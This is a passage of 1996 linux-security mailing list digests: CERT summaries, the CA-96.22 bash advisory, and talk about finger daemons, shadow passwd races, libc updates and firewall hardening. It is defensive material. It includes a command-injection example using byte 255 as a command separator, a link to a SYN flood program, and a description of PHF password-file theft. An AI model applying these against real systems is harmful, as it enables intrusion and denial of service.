supports the '.nofinger' file in the users home-dir. This one was just what I was looking for. I have been running it for the past 6 months without any problems/complaints. It has a web page somewhere. Don't have it online here (sorry). Hope this helps, Richard. ------------------------------ From: CERT Advisory Date: Tue, 24 Sep 1996 17:24:25 -0400 Subject: [linux-security] CERT Summary CS-96.05 A general FYI from CERT. I won't comment on their having singled Linux out as the one OS that gets broken into due to mis-configuration and/or ignorance of previous advisories. [We all know that this never happens to "real" operating systems.] Oh, wait...I guess I just commented. :)~ - --Up. - -----BEGIN PGP SIGNED MESSAGE----- CERT(sm) Summary CS-96.05 September 24, 1996 The CERT Coordination Center periodically issues the CERT Summary to draw attention to the types of attacks currently being reported to our Incident Response Team. The summary includes pointers to sources of information for dealing with the problems. We also list new or updated files that are available for anonymous FTP from ftp://info.cert.org/pub/ Past CERT Summaries are available from ftp://info.cert.org/pub/cert_summaries/ - - --------------------------------------------------------------------------- Clarification to CS-96.04 - - ------------------------- In our previous CERT Summary, we said that the intruder community is developing new techniques and tools to analyze programs for potential vulnerabilities even in the absence of source code. We did not mean to imply that all developers of these techniques in the wider technical community are members of the intruder community, nor that they intend their work to be used by the intruder community. Recent Activity and Trends - - -------------------------- Since the July CERT Summary, we have noticed these trends in incidents reported to us. 1. Denial of Service Attacks Instructions for executing denial-of-service attacks and programs to implement such attacks have recently been widely distributed. Since this information was published, we have noticed a significant and rapid increase in the number of denial-of-service attacks executed against sites. To learn more about denial-of-service attacks and how to limit them, see ftp://info.cert.org/pub/cert_advisories/CA-96.21.tcp_syn_flooding To monitor and log an attack, you can use a tool such as Argus. For more information regarding Argus, see ftp://info.cert.org/pub/tech_tips/security_tools 2. Continuing Linux Exploitations We continue to see incidents in which Linux machines are the victims of break-ins leading to root compromises. In many of these incidents, the systems were misconfigured and/or the intruders exploited well-known vulnerabilities for which CERT advisories have been published. If you are running Linux, we strongly urge you to keep up to date with patches and security workarounds. We also recommend that you review ftp://info.cert.org/pub/cert_advisories/CA-94:01.network.monitoring.attacks ftp://info.cert.org/pub/tech_tips/root_compromise Further, you may want to monitor the Linux newsgroups and mailing lists for security patches and workarounds. More information can be found at http://bach.cis.temple.edu/linux/linux-security/ 3. PHF Exploits At least weekly, and often daily, we see reports of password files being obtained illegally by intruders who have exploited a vulnerability in the PHF cgi-bin script. The script is installed by default with several implementations of httpd servers, and it contains a weakness that allows intruders to retrieve the password file for the machine running the httpd server. The vulnerability is described in ftp://info.cert.org/pub/cert_advisories/CA-96.06.cgi_example_code Once the intruders retrieve the password file, they may attempt to crack the passwords found in the file. For information about protecting your password files, please see ftp://info.cert.org/pub/tech_tips/passwd_file_protection 4. Software Piracy We have received frequent reports regarding software piracy since the last CERT Summary was issued. Although software piracy is beyond the scope of the mission of the CERT Coordination Center, it is often associated with compromised hosts or accounts because intruders sometimes use compromised hosts to distribute pirated software. News of illegal collections of software circulates quickly within the underground community, which may focus unwanted attention on a site used for software piracy. We encourage you to periodically check your systems for signs of software piracy. To learn more, please examine our relevant tech tips: ftp://info.cert.org/pub/tech_tips/anonymous_ftp_abuses ftp://info.cert.org/pub/tech_tips/anonymous_ftp_config To learn more about detecting and preventing security breaches, please see ftp://info.cert.org/pub/tech_tips/intruder_detection_checklist - - ---------------------------------- What's New in the CERT FTP Archive - - ---------------------------------- We have made the following changes since the last CERT Summary (July 23, 1996). * README Files Incorporated into Advisories As of August 30, 1996, we no longer put advisory updates into README files. We now revise the advisories themselves. In addition, we have updated past advisories with information from their README files. We urge you to check advisories regularly for updates that relate to your site. * New Additions ftp://info.cert.org/pub/cert_advisories/ CA-96.14.rdist_vul CA-96.15.Solaris_KCMS_vul CA-96.16.Solaris_admintool_vul CA-96.17.Solaris_vold_vul CA-96.18.fm_fls CA-96.19.expreserve CA-96.20.sendmail_vul CA-96.21.tcp_syn_flooding ftp://info.cert.org/pub/cert_bulletins/ VB-96.12.freebsd VB-96.13.hp VB-96.14.sgi VB-96.15.sco VB-96.16.transarc ftp://info.cert.org/pub/latest_sw_versions swatch ftp://info.cert.org/pub/tech_tips UNIX_configuration_guidelines These replace the security_info file intruder_detection_checklist (the CERT Security Checklist). security_tools ftp://info.cert.org/pub/vendors/ hp/HPSBUX9607-033 Added Hewlett-Packard bulletin about a security vulnerability in expreserve. * Updated Files ftp://info.cert.org/pub/cert_advisories/ CA-96.02.bind In the appendix, updated Sun Microsystems, Inc. patch information. In section I, added information about the next release of bind and the IsValid program. CA-96.08.pcnfsd Updated URL for IBM Corporation, updated Hewlett-Packard Company patch information, and modified NEC Corporation patch information. CA-96.09.rpc.statd Updated URL for IBM Corporation, removed a workaround for SunOS 4.x (patches now available), updated information on Hewlett-Packard Company, and added patch information for NEC Corporation. Also updated opening paragraph. CA-96.14.rdist_vul In Appendix A, added note under Silicon Graphics, Inc. about using the find command, updated the Hewlett-Packard Company entry, added information about Digital Equipment Corporation, and added an IBM Corporation URL. CA-96.15.Solaris_KCMS_vul In Introduction, added information about Solaris 2.5.1. CA-96.18.fm_fls Added vendor information to Appendix A. Added Section III.B, which provides another possible solution to the problem. CA-96.19.expreserve In Appendix A, added information for Silicon Graphics Inc. and Sun Microsystems, Inc. CA-96.20.sendmail_vul Added to Sec. III.B instructions on configuring sendmail at sites that use '&' in the gecos filed of /etc/passwd. Added to Sec. III.C a note on uid for "mailnull" user. In the appendix, added information from FreeBSD, Inc. and Berkeley Software Design, Inc. (BSDI). ftp://info.cert.org/pub/FIRST first-contacts ftp://info.cert.org/pub/latest_sw_versions rdist-patch-status Updated information for Hewlett-Packard Company and NeXT Software, Inc. information. Updated rdist version information in Section II.G. sendmail ftp://info.cert.org/pub/tech_tips root_compromise - - --------------------------------------------------------------------------- How to Contact the CERT Coordination Center Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST (GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA To be added to our mailing list for CERT advisories and bulletins, send your email address to [email protected] CERT advisories and bulletins are posted on the USENET news group comp.security.announce CERT publications, information about FIRST representatives, and other security-related information are available for anonymous FTP from http://www.cert.org/ ftp://info.cert.org/pub/ If you wish to send sensitive incident or vulnerability information to CERT staff by electronic mail, we strongly advise you to encrypt your message. We can support a shared DES key or PGP. Contact the CERT staff for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key - - --------------------------------------------------------------------------- Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and credit is given to the CERT Coordination Center. CERT is a service mark of Carnegie Mellon University. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMkhCfHVP+x0t4w7BAQFR5gQAtYvbKLJAbTzfRizblM9mbl/4oLfnsqdQ HcX8KKDNAtVd2DWKGEsq7U7v9w8KyzDtVpRFba8VSsVmpzixzxnbZSifwyfkcuX9 x2xbQ1SVWBjep399HkbYtS0Y3C0RdCo9p/uxdB5/GkZqD3NMdPoBvFf+j/H6376w tDcheNKNobk= =DZgd - -----END PGP SIGNATURE----- ------------------------------ End of linux-security-digest V2 #64 *********************************** linux-security-digest/v02.n065100664 1767 1767 35423 6225411001 15441 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #65 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Saturday, 5 October 1996 Volume 02 : Number 065 Re: [linux-security] Re: GSSAPI for Linux (follow up..) Re: [linux-security] Finger Doubt [linux-security] SYN flooding program Re: [linux-security] Cfinger (Yet more :) Re: [linux-security] Finger Doubt Re: [linux-security] Finger Doubt [linux-security] Proper permissions for sendmail/procmail and directories [linux-security] Shadow passwd race condition [linux-security] Re: A SERIOUS security problem!!!! ---------------------------------------------------------------------- From: Marc Ewing Date: Fri, 20 Sep 1996 11:54:43 -0400 Subject: Re: [linux-security] Re: GSSAPI for Linux (follow up..) Malcolm Beattie writes: > I am going to put up an RPM for K5beta7 RSN. I prepared one for > beta6 and the binary RPM came out at slightly over a megabyte > (thanks to --enable-shared working nicely). I mailed RedHat a > couple of weeks or so ago asking them to add the Kerberos ports > to /etc/services (in the "setup" RPM) but they haven't replied yet. > That means you have to manually append to /etc/services (on the > client side, kshell needs to be in there for rsh to work). Apart > from that, a single "rpm -i" and everything works fine (well it > did with beta6 but beta7 seems to have broken credential forwarding > for some reason). Our next release (and probably the Rembrandt beta -- I haven't checked), will have the following entried in /etc/secrives: kerberos 88/udp kdc # Kerberos authentication--udp kerberos 88/tcp kdc # Kerberos authentication--tcp klogin 543/tcp # Kerberos authenticated rlogin kshell 544/tcp cmd # and remote shell kerberos-adm 749/tcp # Kerberos 5 admin/changepw kerberos-adm 749/udp # Kerberos 5 admin/changepw kerberos-sec 750/udp # Kerberos authentication--udp kerberos-sec 750/tcp # Kerberos authentication--tcp kerberos_master 751/udp # Kerberos authentication kerberos_master 751/tcp # Kerberos authentication krb5_prop 754/tcp # Kerberos slave propagation kpop 1109/tcp # Pop with Kerberos eklogin 2105/tcp # Kerberos encrypted rlogin krb524 4444/tcp # Kerberos 5 to 4 ticket xlator Should anything else be there? - -Marc ------------------------------ From: M Shariful Anam Date: Wed, 25 Sep 1996 18:04:48 +0600 (GMT+0600) Subject: Re: [linux-security] Finger Doubt On 23 Sep 1996, Richard Huveneers wrote: > Did a lot of searching on the web and found 'ffingerd'. This one looks > very secure to me. For instance, it's not capable of forwarding finger > queries and global (@...) finger queries. It should be run as nobody and I'm using cfingerd for some time. It doesn't support forwarding finger, or @host queries (actually it is configurable). > supports the '.nofinger' file in the users home-dir. This is supported by cfingerd too. BTW, I wanted to contact Ken Hollis for cfingerd, but my mails got bounced. Anyone got his current email? - --- M Shariful Anam Kaifnet Services -- Bangladesh ------------------------------ From: Christopher Hicks Date: Wed, 25 Sep 1996 09:53:37 -0400 (EDT) Subject: [linux-security] SYN flooding program For the person who was interested in testing SYN flooding, there's a program at: http://www.catch22.com/Twilight.NET/phuncnet/archive/packets/spoofers/sf2.c I can't testify to the functionality of the program. I found it using a search engine and thought I'd pass it along. It seems to part of a bigger snooping package. Make sure the source isn't doing anything you don't want it do before compiling. P.S.: Incidentally, hotbot was the only search engine (out of 6) I tested that came up with anything useful. ([email protected]) If you're not part of the solution, you're part of the precipitate. - Steven Wright ------------------------------ From: David Holland Date: Tue, 24 Sep 1996 21:21:06 -0400 (EDT) Subject: Re: [linux-security] Cfinger (Yet more :) > > Aside from the fact that the standard rwho protocol is a complete > > loss, this isn't a bad idea. The only problem is that rwho doesn't > > give last login information. This may or may not be an issue. > > It's not an issue for me, since last login time is among the things I > *don't* want to give out. You are certainly correct that the rwho > protocol is pathetic, but it has the advantage of being already > written and more or less adequate for single segment networks where > you trust people. And where there aren't many users. > > (Also, why the fuss about fingerd? fingerd is just a wrapper that > > runs finger.) > > Because I like different levels of information for random net users > and local users. Local users are welcome to know where each other's > mail goes, when foo was last on, etc. "Strangers" are welcome to know > who's where now and only now, and whatever my users explicitly give > away in .plan and .project. Why not have fingerd pass finger an argument saying "hi, you're being run from fingerd, restrict your output"...? > I also have an unreasoning fear of any network sevice that runs > commands derived from untrusted input, particularly when it's not > subject to as much scrutiny as, say, sendmail or httpd. finger's been subjected to a good deal of scrutiny. - -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 ------------------------------ From: James Sneeringer Date: Sat, 28 Sep 1996 16:14:18 -0500 (CDT) Subject: Re: [linux-security] Finger Doubt On Wed, 25 Sep 1996, M Shariful Anam wrote: > > BTW, I wanted to contact Ken Hollis for cfingerd, but my mails got > bounced. Anyone got his current email? >From the cfingerd 1.3.0 man page: CONTACTING If you like the software, and you want to learn more about the software, or want to see a feature added to it that isn't already here, then please write to khollis@bit- gate.com. ... Extra note: cfingerd is now being maintained by Michael Jarvis. Any additions after cfingerd 1.2.3 should be directed towards Michael. You can reach him at [email protected]. Incidentally, for those (like me) who are paranoid about any process that runs as root, a version of cfingerd 1.3.0 has been hacked to run as user `nobody'. I found it on sunsite.unc.edu, in /pub/Linux/Incoming, though I'd imagine it will be moved in the near future. The stock version is in the Incoming directory as well. Filenames: cfingerd-1.3.0.tar.gz cfingerd-1.3.0.noroot.tar.gz - -James ------------------------------ From: [email protected] (Igor Chudov @ home) Date: Tue, 1 Oct 1996 18:54:10 -0500 (CDT) Subject: Re: [linux-security] Finger Doubt Here's my fingerd, it does not give any dynamic information about users and lets them customize what they want to be shown (see comments). It also lets sysadmin customize the site banner. let me know if you like it. #!/usr/local/bin/perl # # This is a replacement for my previous accept_finger SHELL script. # # This script shows only user name and .plan and .project. No # security-sensitive information such as shells, dirs, login times, etc # is shown. # # This perl script has the following advantages: # 1) it is shorter than the shell script # 2) it works MUCH faster # 3) it is more secure ######################################################################### # # Note that users can customize information about them in three ways: # 1) Create file $HOME/.nosuchuser. This will make the daemon pretend # like these users do not exist. Helps against spanking. # # 2) Create file $HOME/.nofinger. This will make the daemon to refuse # giving out ANY information about you. However, it will give # an indication that a user with your name exists on the system. # (see item 1)). # # 3) Create file /etc/issue.finger with some banner about your site # # You can also customize logging (see below). # # If you do these customizations, MAKE SURE USERS' DIRECTORYS ARE WORLD # EXECUTABLE!!!! ########################################################################## # # This is a FREE software and comes with no warranty. See GNU Public # License for details. [email protected] ########################################################################## # ############################################################### customization # define logger args $NeedLogger = 1; # set to 0 if you do not want logging @LoggerArgs = ( "/usr/bin/logger", "-p", "local3.notice" ); # ###################################################################### # get username from the socket $user = ; chop $user; chop $user; # \n\r in the query, need to chop twice. $user = substr( $user, 0, 15 ); # to protect against logger bugs # ###################################################################### log # Log the event @Logger = (@LoggerArgs, "User $user has been fingered" ); if( $NeedLogger ) { $child = fork; if( $child == 0 ) { # in child exec @Logger; # exec should be secure I think. } } $found = 0; ###################################################################### CatFile # outputs file to stdout sub CatFile { local( $fname ) = pop( @_ ); open( FILE, $fname ); while( ) { print; } close( $fname ); } ####################################################### print nice banner if( -r "/etc/issue.finger" ) { &CatFile( "/etc/issue.finger" ); } else { print "* * * * * * * * * * * Privacy-Enhanced finger server " . "* * * * * * * * * * *\n"; print "==========================================" . "================================\n"; } ###################################################################### # read user database. If you work on BSD types of Unixes, you # may want to customise operator marked by !!!! open( PASSWD, "/etc/passwd" ); while( ) { # you may need to customize this ($name, $pw, $uid, $gid, $realname, $home, $shell) = split( /:/ ); # !!!! if( $name eq $user ) { # OK, user found. now, what to do? if( -f "$home/.nosuchuser" ) { # pretend like there is no such person, to prevent excessive spanking last; # this stops the loop but looks like no user is found. } $found = 1; if( -f "$home/.nofinger" ) { # paranoid user print "User `$user' suffers from paranoia and decided to " . "disable finger.\nTry email.\n"; last; } print "Thanks for inquiring us about $user.\n$user == $realname.\n"; # # So they want these kewl .project and .plan philez? # if( -r "$home/.project" ) { print "Project:\n"; &CatFile( "$home/.project" ); } if( -r "$home/.plan" ) { print "Plan:\n"; &CatFile( "$home/.plan" ); } # we are done last; } } if( !$found ) { # really not found or we are lying print "User `$user' not found. Try different spelling.\n"; } # like we are good people and close opened files. close( PASSWD ); ------------------------------ From: [email protected] (Lance Ware) Date: Tue, 1 Oct 1996 09:03:21 -0700 Subject: [linux-security] Proper permissions for sendmail/procmail and directories Greetings, Can anyone point me to the proper permissions for sendmail, procmail, and /var/spool/mail /var/spool/mqueue directories? The installation of DEC AXP RedHat 3.0.3 comes with sendmail and procmail set -rwsr-xr-x. However when set like this procmail consistently has problems with lock files, specifically /var/mail/USERNAME.lock which not only slows mail delivery, but for a busy user also causes corruption because locking does not occur. One fix is to set procmail to -rwsr-sr-x is this secure? Or a big no-no? TIA Lance Ware ------------------------------ From: [email protected] (Richard Huveneers) Date: 2 Oct 1996 12:31:59 GMT Subject: [linux-security] Shadow passwd race condition There is a race condition in the 'passwd' of the shadow password suite. It first fills in a struct spwd, then locks the /etc/shadow file and then writes the structure to the file. Only the entry might be changed before locking the /etc/shadow file, for instance, the password might be locked by the sysadmin! >From a quick grep in the source it looks like 'passwd' is the only tool which has this bug (the others contain a spw_locate() call). Regards, Richard. ------------------------------ From: Jon Lewis Date: Thu, 3 Oct 1996 12:09:23 -0400 (EDT) Subject: [linux-security] Re: A SERIOUS security problem!!!! On Thu, 3 Oct 1996, lilo wrote: > > people don't read, it's their problem. Are you going to re-announce the > > LD_LIBRARY_PATH hole (and a dozen other holes) every 6 months for all the > > clueless people who don't read? > > Or weren't running Linux six months ago. That's a reasonably good point. Why not encourage linux.org or the LDP (is that still being maintained?) to maintain (or house and let others maintain) a linux security FAQ WWW page that lists every known hole and the fix (and perhaps the exploit). Such a page might even exist already. Anyone know of one? [Mod: Alex Yuriev tries to keep up with these things at "http://bach.cis.temple.edu/linux/linux-security/". It's not a comprehensive archive, but it does outline most of the high (low?) points so far. --Jeff.] All the major distributions could then add something to their install routine that says something like "if you intend to network this system or care about security, check out the Linux Security FAQ at http://www.linux.org/LSF/, for the latest breaking security holes and fixes. I still think linux-kernel and Linus's personal address are the WRONG places to report such things. Those addresses are busy enough. - ------------------------------------------------------------------ Jon Lewis | Unsolicited commercial e-mail will Network Administrator | be proof-read for $199/hr. ________Finger [email protected] for PGP public key_______ ------------------------------ End of linux-security-digest V2 #65 *********************************** linux-security-digest/v02.n066100664 1767 1767 54571 6226755144 15473 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #66 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 9 October 1996 Volume 02 : Number 066 [linux-security] problem in in.pop3d [linux-security] libc 5.4.7 Re: [linux-security] Shadow passwd race condition Re: [linux-security] problem in in.pop3d Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 [linux-security] Linux firewall with ro fs? Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 Re: [linux-security] Linux firewall with ro fs? [linux-security] CERT Advisory CA-96.22 - Vulnerabilities in bash ---------------------------------------------------------------------- From: M Shariful Anam Date: Fri, 04 Oct 1996 16:36:55 +0600 Subject: [linux-security] problem in in.pop3d Hi, While chechking the linux-security faq update, I saw only one line saying "turn off in.pop3d", no explanation, no solution. Can anyone help? Shuman ------------------------------ From: David Holland Date: Fri, 4 Oct 1996 18:36:04 -0400 (EDT) Subject: [linux-security] libc 5.4.7 Someone should send out an all-points security alert telling people to update to libc 5.4.7 and make sure they're using netkit 0.08. Any takers? I'd do it but my pgp key is stuck on a machine with no net access and a broken floppy drive. I was gratuitously dropped from linux-gcc this week, so if I'm rehashing flame away (and it would be nice if there were still a working list archive...) - -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino ------------------------------ From: Marek Michalkiewicz Date: Fri, 4 Oct 1996 16:32:41 +0200 (MET DST) Subject: Re: [linux-security] Shadow passwd race condition Hi, > There is a race condition in the 'passwd' of the shadow password suite. First of all: I would appreciate if you could report things like this to me (the current maintainer of the shadow suite) first, and specify the version of the package you have... > It first fills in a struct spwd, then locks the /etc/shadow file and then > writes the structure to the file. Not any more, and not just because of the race condition - the info from getspnam() might come from various sources, not necessarily from the /etc/shadow file (NYS!). Since at least shadow-960810 (possibly some earlier version, I'm not sure) we do (in this order): spw_lock(), spw_open(), get the entry using spw_locate(), change anything we need to change, call spw_update(), spw_close(), spw_unlock(). > Only the entry might be changed before locking the /etc/shadow file, for > instance, the password might be locked by the sysadmin! This is still possible, if the password is locked by the sysadmin after the old password has been validated - it's not that simple to deal with, as we don't want to lock the password files for too long. Should the old password be checked again, after the file is locked but before anything is changed? BTW, util-linux passwd does not seem to do this either... Current versions of the shadow suite are available (at least) from: ftp://ftp.cin.net/usr/ggallag/shadow/ ftp://iguana.hut.fi/pub/linux/shadow/ ftp://ftp.icm.edu.pl/pub/Linux/shadow-pwr/ ftp://serek.arch.pwr.wroc.pl/pub/shadow/ ftp://ftp.ists.pwr.wroc.pl/pub/linux/shadow/ Unofficial shadow RPMs for RedHat 3.0.3 are available from: ftp://ftp.broadwaynet.com/pub/shadow/ The latest "believed to be stable" version is shadow-960810. There are even newer but experimental versions in the "dontuse" directory. Please take a look at them and tell me if you think there are still any problems. Thanks! Marek ------------------------------ From: "Alexander O. Yuriev" Date: Sat, 05 Oct 1996 17:32:40 -0400 Subject: Re: [linux-security] problem in in.pop3d Your message dated: Fri, 04 Oct 1996 16:36:55 +0600 > Hi, > > While chechking the linux-security faq update, I saw only one line > saying "turn off in.pop3d", no explanation, no solution. Can anyone > help? Please refere to linux-security archives. There is a race condition in in.pop3d that was not fixed. Alex ------------------------------ From: Roscinante Date: Sun, 6 Oct 1996 09:18:33 -0400 (EDT) Subject: Re: [linux-security] libc 5.4.7 On Fri, 4 Oct 1996, David Holland wrote: > Someone should send out an all-points security alert telling people to > update to libc 5.4.7 and make sure they're using netkit 0.08. I had problems with NetKit-B-0.08 telnet, where when I logged on to a remote system on a high port (MUD's on ports > 4000 for example) after I put my login name, and then the correct passwd, telnet was barfing some wierd error, then crashing.. I wrote the author for this, I'm waiting for a fixed version... ~~ All that is gold does not glitter.. . Not all those who wander are lost..J.R.R.T. . /\ . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ._____// \\_____. And the knowledge that they fear . \\ Rush // . is a weapon to be held against them.. N.P. . \\ 2112 // . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ . // /\ \\ . Ghost in the Machine ([email protected]) I[[[[[[[[]]]]]]]]I Roscinante ([email protected]) http://www.globalent.net/users/fbn ------------------------------ From: David Holland Date: Sun, 6 Oct 1996 17:03:21 -0400 (EDT) Subject: Re: [linux-security] libc 5.4.7 > Ahhhh, RESOLV_HOST_CONF is fixed in 5.4.7 eh? well, i fixed it with a > PATCH for 1.8.2..... so, thats no prob ;> I should point out that this is by no means the only security problem fixed in 5.4.7 - there are a number of others, at least one of which can possibly permit anyone anywhere on the net to get a root shell, and several where users can get root shells. RESOLV_HOST_CONF isn't the only environment variable referenced by libc - nor is it the least dangerous one. You need to update to libc 5.4.6 or higher (that protects environment vars in setuid programs) and install the telnetd from NetKit-B-0.08 or equivalent, to protect against having these things sent via telnet. I am not going to post a complete catalog of the problems at this time, but I advise strongly against complacency or assuming a home-grown RESOLV_HOST_CONF patch is sufficient. - -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino ------------------------------ From: David Holland Date: Sun, 6 Oct 1996 22:15:05 -0400 (EDT) Subject: Re: [linux-security] libc 5.4.7 > I had problems with NetKit-B-0.08 telnet, where when I logged on to > a remote system on a high port (MUD's on ports > 4000 for example) > after I put my login name, and then the correct passwd, telnet was > barfing some wierd error, then crashing.. I wrote the author for > this, I'm waiting for a fixed version... I'm working on a fixed version [I've been altogether too busy of late, I'm afraid]. It is reasonably safe to use the 0.07A telnet; just don't use it as part of a restricted shell setup. The telnet*D* in 0.07A on the other hand is pretty unsafe. - -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino ------------------------------ From: Jozsef Kadlecsik Date: Mon, 7 Oct 1996 10:36:36 +0100 (MET) Subject: [linux-security] Linux firewall with ro fs? Hello, I'm thinking on building a firewall with Linux and have just thought the following: I'm paranoid on firewalls and want it to be as secure as possible. Is there any difficulty in running Linux with all filesystems ro? (The only writable fs would be /var = noexec, nosuid, nodev.) The mount command would be a patched one which wouldn't make possible to re-mount an fs to r/w. [REW: Good idea. Remember to make /tmp a link to /var/tmp. Don't bother with the mount thing. I'd assume that the hackers would be able to get themselves a new mount binary. (If they are already running stuff as root.......) I'd suggest delving into the kernel sources and finish off implementing "securelevel" which would disallow reading/writing devices, and remounting filsystems r/w, loading modules etc etc..] Any comments or hints? Best regards, Jozsef Kadlecsik - - E-mail : [email protected], [email protected] WWW-Home: http://www.kfki.hu/~kadlec Address : KFKI Research Institute for Particle and Nuclear Physics P.O.B 49 Budapest, 1525 Hungary ------------------------------ From: Matt Date: 8 Oct 1996 15:57:51 GMT Subject: Re: [linux-security] libc 5.4.7 David Holland wrote: : I'm working on a fixed version [I've been altogether too busy of late, : I'm afraid]. It is reasonably safe to use the 0.07A telnet; just don't : use it as part of a restricted shell setup. : The telnet*D* in 0.07A on the other hand is pretty unsafe. Or you can get the original telnet/telnetd from cray and apply the patches I have available. ftp://ftp.dhp.com/pub/linux/security/telnet.95.10.23.patch I've had no problems with this at all.... - -- -Matt ([email protected]) -- DataHaven Project - http://www.dhp.com/ "That which can never be enforced should not be prohibited." ------------------------------ From: David Holland Date: Tue, 8 Oct 1996 15:31:24 -0400 (EDT) Subject: Re: [linux-security] libc 5.4.7 > Could you post where the latest version of libc could be downloaded from. > Thanks. [If one person asks, at least a couple dozen more want to hear. This is not, perhaps, quite as common knowledge as it ought to be. Flames to /dev/null.] ftp://tsx-11.mit.edu/pub/linux/packages/GCC ftp://sunsite.unc.edu/pub/Linux/GCC and mirrors. The files are libc-5.4.7.bin.tar.gz (binaries) libc-5.4.7.tar.gz (sources) release.libc-5.4.7 (release notes, PLEASE READ THEM FIRST) There is also a 5.3.12 -> 5.4.7 source patch. - -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino ------------------------------ From: David Bonn Date: Tue, 8 Oct 1996 10:35:36 -0700 Subject: Re: [linux-security] Linux firewall with ro fs? >>>>> "Jozsef" == Jozsef Kadlecsik writes: Jozsef> Hello, Jozsef> I'm thinking on building a firewall with Linux and have just thought Jozsef> the following: I'm paranoid on firewalls and want it to be as secure Jozsef> as possible. Is there any difficulty in running Linux with all Jozsef> filesystems ro? (The only writable fs would be /var = noexec, nosuid, Jozsef> nodev.) The mount command would be a patched one which wouldn't Jozsef> make possible to re-mount an fs to r/w. Make a boot floppy with a minimal system and write your own "init" program that builds filter rules, configures network interfaces, and then happily sits. Then pull the hard drive out of the machine and put it somewhere it can do some good. If you want logging, use syslogd to send it to another host. Configure the firewall by making new floppies and hand-carrying them to the firewall machine. The ramdisk documentation in the kernel source give good hints about how to make that magic boot floppy. We've built firewalls this way in as little as 4MB of RAM and less than 1024k of the space on the floppy -- compressed filesystems are a good thing. Proxy daemons will cost you a bit more in the memory department, but that's no big deal. We've never gotten above 6MB of ram used with our proxy servers and firewall and ramdisks. You'll know you've done this right when you don't need a shell and have less than 100 files (counting device files) on the whole system. dwb Jozsef> [REW: Good idea. Remember to make /tmp a link to /var/tmp. Don't Jozsef> bother with the mount thing. I'd assume that the hackers would be Jozsef> able to get themselves a new mount binary. (If they are already running Jozsef> stuff as root.......) ... but not as secure as a system which had no shell, and ran no processes at all as root. dwb ------------------------------ From: CERT Advisory Date: Tue, 8 Oct 1996 10:30:28 -0400 Subject: [linux-security] CERT Advisory CA-96.22 - Vulnerabilities in bash This is now rather old news, but I tend to pass on all CERT advisories that are related to or affect Linux anyway, primarily for those that might have missed the news previously. - -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT(sm) Advisory CA-96.22 Original issue date: October 8, 1996 Last revised: -- Topic: Vulnerabilities in bash - - ------------------------------------------------------------------------------ The original technical content for this advisory was published by the IBM-ERS response team and is used here with their permission. This advisory describes two problems with the GNU Project's Bourne Again SHell (bash): one in yy_string_get() and one in yy_readline_get(). The vulnerability in yy_string_get() allows the character with value 255 decimal to be used as a command separator. When used in environments where users provide strings to be used as commands or arguments to commands, bash can be tricked into executing arbitrary commands. It is not clear whether the problem with yy_readline_get() results in an exploitable vulnerability, though you may want to address both problems for completeness. The problems affect bash versions 1.14.6 and earlier. The CERT/CC team recommends that you upgrade to bash 1.14.7 as soon as possible, as discussed in Section III.A below. Section III.B contains a patch for 1.14.7, which we recommend using to address the yy_readline_get() problem. We will update this advisory as we receive additional information. Please check advisory files regularly for updates that relate to your site. - - ---------------------------------------------------------------------------- I. Description A. Introduction The GNU Project's Bourne Again SHell (bash) is a drop-in replacement for the UNIX Bourne shell (/bin/sh). It offers the same syntax as the standard shell, and it also includes additional functionality such as job control, command line editing, and history. Although bash can be compiled and installed on almost any UNIX platform, its most prevalent use is on "free" versions of UNIX such as Linux, where it has been installed as "/bin/sh" (the default shell for most uses). The bash source code is freely available from many sites on the Internet. B. Vulnerability Details 1. Vulnerability in yy_string_get() There is a variable declaration error in the "yy_string_get()" function in the "parse.y" module of the "bash" source code. This function is responsible for parsing the user-provided command line into separate tokens (commands, special characters, arguments, etc.). The error involves the variable "string", which has been declared to be of type "char *". The "string" variable is used to traverse the character string containing the command line to be parsed. As characters are retrieved from this pointer, they are stored in a variable of type "int". On systems/compilers where the "char" type defaults to "signed char" this value will be sign-extended when it is assigned to the "int" variable. For character code 255 decimal (-1 in two's complement form), this sign extension results in the value (-1) being assigned to the integer. However, (-1) is used in other parts of the parser to indicate the end of a command. Thus, the character code 255 decimal (377 octal) will serve as an unintended command separator for commands given to bash via the "-c" option. For example, bash -c 'ls\377who' (where "\377" represents the single character with value 255 decimal) will execute two commands, "ls" and "who". 2. Possible vulnerability in yy_readline_get() A similar problem exists with the "yy_readline_get()" function, which is also in the file "parse.y" and which is used to read commands in interactive shells (ones that print a prompt and read from the keyboard, a shell script, or a pipe). It is not clear that this problem produces any exploitable vulnerabilities in the bash program; however, you may wish to address the problem for the sake of completeness. II. Impact This unexpected command separator can be dangerous, especially on systems such as Linux where bash has been installed as "/bin/sh," when a program executes a command with a string provided by a user as an argument using the "system()" or "popen()" functions (or by calling "/bin/sh -c string" directly). This is especially true for the CGI programming interface in World Wide Web servers, many of which do not strip out characters with value 255 decimal. If a user sending data to the server can specify the character code 255 in a string that is passed to a shell, and that shell is bash, the user can execute any arbitrary command with the user-id and permissions of the user running the server (frequently "root"). The bash built-in commands "eval," "source," and "fc" are also 